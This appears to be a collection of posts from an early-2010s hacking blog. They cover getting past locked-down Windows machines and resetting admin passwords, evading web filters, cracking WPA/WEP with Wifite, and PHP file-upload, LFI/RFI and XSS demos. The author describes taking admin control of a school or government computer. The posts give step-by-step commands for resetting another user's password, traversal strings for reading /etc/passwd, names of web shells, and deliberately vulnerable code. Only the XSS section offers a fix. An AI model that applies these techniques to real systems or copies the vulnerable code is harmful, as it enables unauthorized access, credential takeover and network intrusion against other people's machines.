Connect With Me In Facebook

Welcome to DefendHackers, If u want to Apply for a Blogroll as a Author , With h4ckfreak Mail me @ suren.click@gmail.com

Mark Zuckerberg tells 8th graders “there’s no shortcuts” and to make friends

By h4ckfreak

Metasploit Quick Start Referennce Guide

Metasploit Quick Start Referennce Guide , By h4ckfreak

IP Security

IP Security By H4ckfreak.

15 Network Admin Apps for Android

15 Network Admin Apps for Android , By h4ckfreak

Break All OS Passwords Using KON

Break All OS Passwords Using KON , By h4ckfreak

Recover Or Reset Ur Windows Pwd Using Ubuntu

Recover Or Reset Ur Windows Pwd Using Ubuntu , By h4ckfreak

Security Blueprint For Ethical Hackers..

By h4ckfreak

Blocking IP Using IPSec

By h4ckfreak

Preventing DDos Attacks, Combat Steps abd Tools...

By h4ckfreak

Wednesday, March 7, 2012

Unlocking cmd.exe Locked by Admin

Running a Locked cmd.exe




First Way

  • Open up 'Notepad' or a similar text editor.
  • Type in "start" with no quotations.
  • Save it as a .bat file. i.e. fakecmd.exe
  • Double-click it to run.
That's the easiest way, but not always guaranteed to work. Here's a better way that will work

Second Way

  • Open up your text editor.
  • Put the following:
    Code:
    @echo off
      command
      comand.com
      pause
  • Save it as a .bat file
  • Double-click it, and voila!
Now that I had that going, I was able to gain access to all of the C: drive. I then ran a net user batch file and added my user to the admin group giving me full control. I was tempted to format and install Ubuntu but decided not to. Didn't want to get arrested and go to jail for destroying government property. It was fun tho.

Anyway, that's about it, enjoy.

Changing Admin password

Ok, here we go.

First off, this might not work, depends on if the computer is correctly protected or not.
Second, if you do have the download power and time you will want to go to the previous thread and learn from that dude because he knows what he is doing. I am pretty sure everyone here knows how to do this trick but if you dont you might want to learn it.

I will start off with the unprotected kind of computer. You goto the start button and click on the icon/button on the lower-right hand corner that says "run". Type in the letters "cmd" or "command", both will work for this trick but be warned, they are different. Once you see the otherwise customized black and white lettering screen, you know that you typed it in right . Next, you type in the words "net users" or "net user", they are the same. Once the command completes, you will see a screen that lists all the users on the computer. Make sure you see your target user, because if you dont then you might be connected through a different server (which makes it a little more complicated ). Once you see your target user, type the words "net user [target] *". Make sure you include a space between the user and the astarix*, otherwise the command might not work correctly. Type in the SAME password for both fields, but you will not see what you are typing. Push enter to go from the first field to the second field and enter again to go from the second field to finishing the command. If the words "The command completed successfully." pop-up on the screen, the password has been changed into the password you typed, without the original password !

Ok, now we move onto the more protected computer . Some computers, such as school computers, do not have the run button on the start menu. In these cases, you need to do different ways (such as what I have done to my school computer ). First, you need to make sure you have notepad. If you see the notepad icon under the start>programs>accessories>notepad, then skip the next paragraph and move on.

In order to get notepad even when it is blocked, you need to do just one thing, which is what I am going to explain. First, make a useless file. The file can be anything from .doc to a .exe. Make sure you get this file into the "My Documents" folder of the computer. Once you have completed this, click on the file (just once) and click "file(upper part of the screen)>open with...". When the "Open With..." screen pops up, you may get a screen that asks you two things, "Use web service..." and "Browse...". You want to browse. When you get to the browse screen, click the notepad icon, then click "OK". Click on the new text file twice to open notepad. There should be a whole bunch of characters on the screen, and you dont want these. Just goto "File>New" to get a whole, clean, grand spanking new text document. Save this "as" "notepad.txt" on the desktop. You now have the notepad feature "hacked" onto the desktop. Continue onto the next step...

Ok, open the command prompt using notepad you open notepad up and type "command.com" or "cmd". "Cmd" might not work if you have certain restrictions but "command.com" should always work. Save the file to the desktop as "command.bat". Make sure you include the ".bat" otherwise this step cannot be completed. The file should be saved to the desktop and look like a windows app window with gears in the middle. Click the file and goto the first step to change the passwords .

Like I have already said, this way might not work on certain Windows Xp computers and you would have to use the iso image way. Anywho, I know that this tutorial looked intimidating at first, but I bet it was worth it!! Always remember that in order to become a hacker, you have to do a lot of reading

Stay Highly Anonymous



Lets pretend for a moment that the Internet is made up of 26 websites, A-Z. The web filter blocks your browser from accessing sites X-Z, but not sites A-W. Simply make the browser think you--„¢re going to A-
W. There are a variety of ways to do this:


Proxy Servers:
This is a list of http proxies. These sites may not be up forever, so you may need to search for --“free http proxy--� or --“public proxy servers--� or other similar terms.

Proxy server lists:
-- http://www.aliveproxy.com
-- http://www.multiproxy.org
-- http://www.publicproxyservers.com/index.html
-- http://www.tehbox.com/proxy
-- http://www.proxz.com
-- http://www.proxy4free.com/index.html
-- http://free-proxies.com

Now that you have a list of proxies, you would open IE (internet explorer) and click on Tools > Internet Options > Connections > LAN Settings > Advanced. Enter the address and port of one of the servers from the list in the proper area (http) and make sure the --“use a proxy server for your LAN--� option is selected. Remember to replace the proxy and port at your terminal to the original when you're done.

*Note: Some proxies listed may not work, and this method may decrease your surfing speed. By trying various entries, you--„¢ll find one that works, or works faster.

The infamous translation trick:
Go to a web page translation site and use their services to --“translate a page to English--� thus accessing the blocked page through their trusted site.

You--„¢ll notice that several translation sites are blocked, but by using less popular ones, this method can still be effective. Here is a list of some translation services. Again, these sites may not be up forever, so you may need to search for them.

-- http://babelfish.altavista.com
-- http://world.altavista.com
-- http://translation.langenberg.com
-- http://freetranslation.com/web.thm

Url Scripting:



Url scripting is the easiest method. It works on a select few web filters and is based on the same principal as the translation trick. By typing and address like --“www.yahoo.com@www.restricted_site.com the filter will not go into effect as it recognizes the trusted site (in this case yahoo.com)

Other tricks:
Simply open the command prompt and type:
Ping restricted.com ? restricted.com obviously being the restricted site
At this point you can take down the IP address (ex. 216.109.124.73) and enter it into the browser. If access to the command prompt is also restricted, see --“How to bypass restrictions to get to the command prompt.--� If this article has been taken from information leak, then know that it involves anything from opening the browser, selecting view > source, then saving it as X.bat and opening it to opening a folder or browser and typing in the location of cmd.exe depending on the OS. I will not go into further, as this a completely different topic.

Use https://restrictedsite.com as referring to it as a secured site may confuse the filter.

Note: These are ancient methods that many new filters defend against, but still may be applicable in your situation. If not, a little history never hurt anyone.

Web based Proxies:
Another one of the easier, yet effective methods include web based proxies. These are simple in the fact that you just enter the restricted address and surf! Some of these have some restrictions, like daily usage limits, etc but you can also use another proxy (perhaps one that sucks, like a text only) to bypass their restrictions as well. Here is a list of some:

-- http://proxify.com]http://proxify.com
-- http://www.anonymizer.com/index.cgi]http://www.anonymizer.com/index.cgi
-- http://www.guardster.com/]http://www.guardster.com/
-- http://anonymouse.ws/anonwww.html]http://anonymouse.ws/anonwww.html
-- http://www.the-cloak.com/login.html]http://www.the-cloak.com/login.html
-- https://www.megaproxy.com/freesurf]https://www.megaproxy.com/freesurf
-- http://www.anonymizer.ru]http://www.anonymizer.ru
-- https://nadaily.com/cgi-bin/nph-proxyb.cgi]https://nadaily.com/cgi-bin/nph-proxyb.cgi
-- http://www.userbeam.de/cgi-bin/nph-userbeam.cgi]http://www.userbeam.de/cgi-bin/nph-userbeam.cgi
-- http://www.free2.surffreedom.com/nph-free.cgi]http://www.free2.surffreedom.com/nph-free.cgi

Proxy Programs:
There are many proxy programs that allow you to surf anonymously that are more or less based on the same topics we--„¢ve covered here. I--„¢ve added them just to cover the topic thoroughly:

-- http://www.hotscripts.com/Detailed/28480.html]http://www.hotscripts.com/Detailed/28480.html
-- http://www.inetprivacy.com/a4proxy/anonymous-grc.htm]http://www.inetprivacy.com/a4proxy/anonymous-grc.htm
-- http://www.orangatango.com/home/index.ie.html]http://www.orangatango.com/home/index.ie.html
-- http://www.steganos.com]http://www.steganos.com
-- http://www.anonymization.net]http://www.anonymization.net ? toolbar that requires admin rights to install

Making your own CGI proxy server:

Making your own proxy server may come in handy, but I personally find that simply uploading a txt file/w a list of proxies to a free host makes for a much easier and headache free solution. If you don--„¢t know PERL, there is code out there to help you set it up. Check out these sites for more info:

-- http://httpbridge.sourceforge.net]http://httpbridge.sourceforge.net
-- http://www.jmarshall.com/tools/cgiproxy]http://www.jmarshall.com/tools/cgiproxy



Saturday, January 7, 2012

Indian Hacker group threatens Symantec to release AV source code


Symantec is investigating an Indian hacking group's claims that it accessed source code used in the company's flagship Norton Antivirus program. 


A spokesman for the company on Thursday said that one claim by the group was false, while another is still being investigated.
Meanwhile, the Indian group, which calls itself Lords of Dharmaraja, has threatened to publicly disclose the source code shortly.

On Wednesday, the group posted on Pastebin what it claimed was confidential documentation related to Norton AntiVirus source code. A review of the material showed what appears to be a description of an application programming interface (API) for Symantec's AV product.
The group also posted what it claimed was the complete source code tree file for Norton Antivirus. That document appears to have been taken down.

'Yama Tough,' the hacker who posted the documents, released at least two more on Google+ allegedly related to Symantec source code. One of the documents appears to be a detailed technical overview of Norton Anti-Virus,



The document explains how the software is designed to work, but includes no actual source code, the spokesman said.
"However, a second claim has been made by the same group regarding additional source code and we're currently investigating that," he said. "For that one, we don't have any information to provide as of yet." the spokesman said.
Rob Rachwald, director of security strategy at security vendor Imperva said it is hard to know what to make of the hacking group's claims.
"We don't know how much of this is chest thumping" on the part of the hackers, Rachwald said. The source code tree file posted on Pastebin suggests the group has some potentially useful information related to Symantec's AV product, he said. "It is a good indicator, but not a perfect one.



Sunday, January 1, 2012

Crack WPA/WPA2 Using Wifite - Latest


purpose

to attack multiple WEP and WPA encrypted networks at the same time. this tool is customizable to be automated with only a few arguments. wifite can be trusted to run without supervision.  

features

  • this project is available in French: all thanks goto Matt² for his excellent translation!
  • sorts targets by power (in dB); cracks closest access points first
  • automatically deauths clients of hidden networks to decloak SSIDs
  • numerous filters to specify exactly what to attack (wep/wpa/both, above certain signal strengths, channels, etc)
  • customizable settings (timeouts, packets/sec, channel, change mac address, ignore fake-auth, etc)
  • "anonymous" feature; changes MAC to a random address before attacking, then changes back when attacks are complete
  • all WPA handshakes are backed up to wifite.py's current directory
  • smart WPA deauthentication -- cycles between all clients and broadcast deauths
  • stop any attack with Ctrl+C -- options: continue, move onto next target, skip to cracking, or exit
  • switching WEP attack methods does not reset IVs
  • intel 4965 chipset fake-authentication support; uses wpa_supplicant workaround
  • SKA support (untested)
  • displays session summary at exit; shows any cracked keys
  • all passwords saved to log.txt
  • built-in updater: ./wifite.py -upgrade

requirements

  • linux operating system (confirmed working on Ubuntu 8.10 (BT4R1), Ubuntu 10.04.1)
  • tested working with python 2.4.5 and python 2.5.2; might be compatible with other versions,
  • wireless drivers patched for monitor mode and injection: backtrack4 has many pre-patched drivers,
  • aircrack-ng (v1.1) suite: available via apt: apt-get install aircrack-ng or by clicking here,
  • xterm, python-tk module: required for GUI, available via apt: apt-get install python-tk
  • macchanger: also available via apt: apt-get install macchanger
  • pyrit: not required, optionally strips wpa handshake from .cap files

execution

download the latest version:
wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py
change permissions to executable:
chmod +x wifite.py
execute:
python wifite.py
or, to see a list of commands with info:
./wifite.py -help

snapshot

console mode:


gui mode (default):




examples

the program contains lots of interactivity (waits for user input). these command-line options are meant to make the program 100% automated -- no supervision required.
to crack all WEP access points:
./wifite.py -all -nowpa
to crack all WEP access points with signal strength greater than (or equal to) 50dB:
./wifite.py -p 50 -nowpa
to attack all access points, use 'darkc0de.lst' for cracking WPA handshakes:
./wifite.py -all --dict /pentest/passwords/wordlists/darkc0de.lst
to attack all WPA access points, but do not try to crack -- any captured handshakes are saved automatically:
./wifite.py -all -nowpa --dict none
to crack all WEP access points greater than 50dB in strength, giving 15 minutes for each WEP attack method, and send packets at 600 packets/sec:
./wifite.py --power 50 -wepw 15 -pps 600
to attempt to crack WEP-encrypted access point "2WIRE752" endlessly -- program will not stop until key is cracked or user interrrupts with ^C):
./wifite.py -e "2WIRE752" -wepw 0
 
 
 
thanks to google code 

Monday, December 19, 2011

Basics of Arbitary File Upload

As the name suggests Arbitrary File Upload Vulnerabilities is a type of vulnerability which occurs in web applications if the file type uploaded is not checked, filtered or sanitized.

The main danger of these kind of vulnerabilities is that the attacker can upload a malicious PHP , ASP etc. script and execute it. The main idea is to get the access to the server and execute desired code. for example an Attacker who have gained access to such kind of vulnerability can upload a malicious shell script and further can control the machine to execute desired commands, which would lead to a full compromise of the server and the victim’s server gets owned.

In this tutorial we’ll be looking at a a basic example of a Vulnerable Script and How to exploit it. So let’s get started.

Proof of Concept



For the demonstration of a realistic scenario, I have created a basic vulnerable PHP script.

Upload.php
Code:
<?php
   
  /**
   * @author lionaneesh
   * @copyright 2011
   * @page upload.php
   */
   
  // If the upload request has been made , Upload the file
   
  $uploadMessage = "";
   
  if (isset($_POST['upload']))
  {
        $path = $_FILES['uploadFile']['name'];
        if(move_uploaded_file($_FILES['uploadFile']['tmp_name'],$path) == TRUE)
        {
              $uploadMessage = "File Uploaded <a href='$path'>HERE</a>";
        }
  }
   
  ?>
   
  <html>
   
  <head>
   
      <title>Welcome to Vulnerable Apps</title>
   
  </head>
   
  <body>
   
  <h1>Arbitary file upload ( POC )</h1>
  <hr />
   
  <p>Hey all this is a sample php script to upload image files , This script doesn't contains file type checking code which makes it prone to Arbitary file upload vulnerbility. </p>
   
  <hr />
  <h2>Upload</h2>
  <hr />
   
  <table>
  <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data">
      <tr>
      
          <td width="100">Upload File </td>
          <td width="380"><input class="cmd" type="file" name="uploadFile"/></td>
          <td><input style="margin-left:20px;" type="submit" name="upload" class="own" value="Upload"/></td>
      
      </tr>
  </form>
  </table>
  <?php
   
  echo $uploadMessage;
   
  ?>
   
  </body>
   
  </html>
In the above script we simply ask the user to input the file to be uploaded and without even checking what the file-type is or its extension we upload it.

This is a basic example of how these bugs occur.

How to exploit it



Now to exploit this common bug is yet simpler, the hacker can simply download any Web Shell-Scripts , Written in PHP , ASP etc.

Some PHP Shells :-

Ani-Shell
[ R57 Shell
C99 Shell

Note: These shells are not intended to be used as this way, author is not responsible for the way in which the user uses it.

Now to exploit this vulnerability the hacker have to carry out some steps :-

Upload the Shell



Go to the link



Gain Access



That's it for this tutorial stay tuned for more.

Tell the World ...

Basics of LFI and RFI Attacks



Local File Inclusion ( LFI ) is a method of including files on a server through a Modified Special HTTP request. This vulnerability can be exploited using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied data without sanitizing is provided to an ‘inclusion type’ (like , include() , require() etc.) . Mostly these attacks are accompanied by Directory Transversal attacks which can reveal some sensitive data leading to further attacks.

Now that’s quite a bit of theory there let’s have a look on a sample vulnerable application.

Demonstration [Proof of Concept]



I have created a pair of files named index.html and lfi.php
lfi.php
Code:
<html>
   <head>
   <title>Vulnerable to LFI -- by lionaneesh</title>
  </head>   
  <body>
   
   <h1>Welcome to this Website</h1>
   
  <?php $page = isset($_GET['page']) ? $_GET['page'] : 'index.html'; ?>
   
   <p>You are currently at <?php echo"<a href='$page'>$page</a>";?></p>
   
   <?php include($page); ?>
   </body>
  </html>
As you see the above code has a include(USER_INPUT) So basically we can input any filename and it will simply print out the contents on the screen. This is the most popular form in which these bugs occur.
index.html
Code:
<p>Hello I am a sample page my name is index.html</p>
Providing normal Input:-
First let’s try and give this app a normal input which it would be expecting.

Input: index.html
Output:-
Code:
Welcome to this Website

  You are currently at index.html
  Hello I am a sample page my name is index.html
It works fine! Now let’s construct the attack string and see what happens!


Constructing the attack string


As I am working on UNIX we’ll print out the contents of /etc/passwd file , The file /etc/passwd is a local source of information about users' accounts.

My present working directory is /var/www/ , So what I have to do is :-
  1. Go back 2 directories and
  2. Then go to /etc/passwd
We can go back 2 directories using ‘../../’

Attack string :-

Code:
../../etc/passwd
Now lets feed this as an input and see what happens.

Input: “ ../../etc/passwd”

Code:
Welcome to this Website

  You are currently at ../../etc/passwd 
  root:x:0:1:Super-User:/root:/sbin/sh 
daemon:x:1:1::/: 
bin:x:2:2::/usr/bin: 
sys:x:3:3::/: 
adm:x:4:4:Admin:/var/adm: 
lp:x:71:8:Line Printer Admin:/usr/spool/lp: 
uucp:x:5:5:uucp Admin:/usr/lib/uucp: 
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/
And voila! We just printed the /etc/passwd file.

Remote File Inclusion



RFI is an abbreviation for Remove File Inclusion and is quite similar to LFI, Remote File Inclusion ( RFI ) is a method of including Remote files(present on another server) on a server through a Modified Special HTTP request. This vulnerability can be exploited using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied data without sanitizing is provided to an ‘inclusion type’ (like, include (), require () etc.)

Demonstration [Proof of Concept]



We’ll be using the same sample web-app we used to Demonstrate LFI

Constructing the attack string:-

In our case we want to include go4expert’s index file in our local file.

So what we have to do is, simply provide the URI as an input and see what happens

Input : http://go4expert.com

Output (page source):-
Code:
<html>
<head>
                       <title>Vulnerable to LFI -- by lionaneesh</title>
 </head>

 <body>

 <h1>Welcome to this Website</h1>

  <p>You are currently at <a href='http://go4expert.com'>http://go4expert.com</a>

</p> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html dir="ltr" lang="en" xmlns="http://www.w3.org/1999/xhtml"><head>         <meta http-equiv="Cache-Control" content="no-cache" />        <meta http-equiv="Pragma" content="no-cache" />
        <meta http-equiv="Expires" content="0" />  
<title>Programming and SEO Forums </title> 

<!-- ChartBeat -->

<script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script>

<!-- /ChartBeat --> 

 --------Sniped-----------


Note: In most modern ‘php.ini’ files, allow_url_include is set to off which would not allow a malicious user to include a remote file.

Basics of XSS, How the Logic Works



Cross Site Scripting also known as XSS is a popular type of Client Site Attack, It is a type of attack which occurs in Web-Applications and allows an attacker to inject desired client-side scripts into Web-Pages viewed by others.

Types of XSS



This attack is mainly of 2 types

Non-Persistent

This type of attack is carried out by injecting some client side code in a Vulnerable URL. Now further the Attacker can spread this URL and send it to his/her victims by means of some social engineering etc , on clicking these links the Victims Unknowingly executes the injected code , Which in turn can result in Cookie stealing , Privacy Disclosure etc.

Persistent

This type of Attack is more dangerous and it occurs when the data provided by the attacker is stored by the server, which is viewed as a normal page to the normal users.
Now Further the Attacker can simply inject some malicious Client Side Code which in turn can result in Defacement of the Website, Cookie Stealing, and Privacy Disclosure etc.

Demo



Now that we know something about what are these type of vulnerabilities and how they occur let’s actually take a look at how these vulnerabilities occur How to test it!
Xss.php
Code: php
<html> <head>     <title>Vulnerable to XSS</title> </head> </html> <body> <h1>Welcome to XSS Demo Page</h1> <p>The Data Entered is As Follows :- </p> <?php /**  * @author lionaneesh  * @copyright 2011  */   if(isset($_GET['data'])) {     $data = $_GET['data']; } else {     $data = "No Data Entered !"; } echo "<i>$data</i>"; ?> </body>

Now Just Go to :-

Site.com/path/xss.php?data=<script>alert(“XSS”);</script>

And See what happens!

Wow! An Alert box saying XSS will appear proving that your injected code actually executed! Now this is just an example of how these vulnerabilities can occur in web-applications and how you can test them!

How to Fix Them



If you’re one of the people whose site is vulnerable to this type of attack I recommend fixing it as soon as possible, For the scope of this tutorial I’ll be only covering on how these vulnerabilities can be fixed in PHP , If you are using some other language , I recommend you to check your Language Reference or Contact Me .

PHP Provides a function called htmlspecialchars() which converts the chars into their HTML entities. Now we’ll just use this in the above code and check what happens.
Xss.php (line number 33)
Code: php
echo htmlspecialchars("<i>$data</i>");
Now let’s once more Go to :-

Site.com/path/xss.php?data=<script>alert(“XSS”);</script>

And See what happens!

Voila! U can notice the change now!

That’s all for this tutorial stay tuned for more

For advanced reading click here

Thanks,

Greyhat